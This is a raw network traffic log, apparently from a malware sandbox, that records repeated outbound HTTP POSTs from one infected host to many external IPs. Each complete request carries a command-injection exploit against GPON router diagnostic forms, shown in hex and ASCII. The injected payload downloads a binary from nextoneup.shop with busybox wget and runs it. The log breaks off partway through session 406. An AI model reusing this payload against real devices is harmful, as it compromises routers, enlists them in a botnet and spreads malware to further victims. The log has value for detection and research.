XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.13	54380	212.186.207.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749557972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.13	54700	79.212.161.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749577999 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.13	51128	94.47.78.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749645948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.13	54892	123.101.27.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749675989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.13	59924	178.47.4.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749694109 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.13	52412	212.228.172.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749738932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.13	44234	210.102.69.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749764919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.13	53324	117.141.43.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749782085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.13	33190	42.117.180.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749808073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.13	53762	123.222.13.116	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749845982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.13	48446	117.147.76.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749865055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.13	48414	5.24.179.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749867916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.13	57038	2.241.200.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749886036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.13	35360	117.28.170.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749910116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.13	58630	2.220.61.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749943972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.13	38678	2.54.249.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749968052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.13	54084	79.183.176.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.749994040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.13	60788	94.66.32.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750047922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.13	40170	148.141.223.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750052929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.13	58136	37.186.152.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750067949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.13	50640	79.152.174.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750102997 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.13	50608	210.179.140.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750130892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.13	56492	210.207.240.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750174999 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.13	45728	109.9.191.79	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750206947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.13	46514	117.1.237.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750251055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.13	54056	94.229.17.230	443

Timestamp	Bytes transferred	Direction	Data
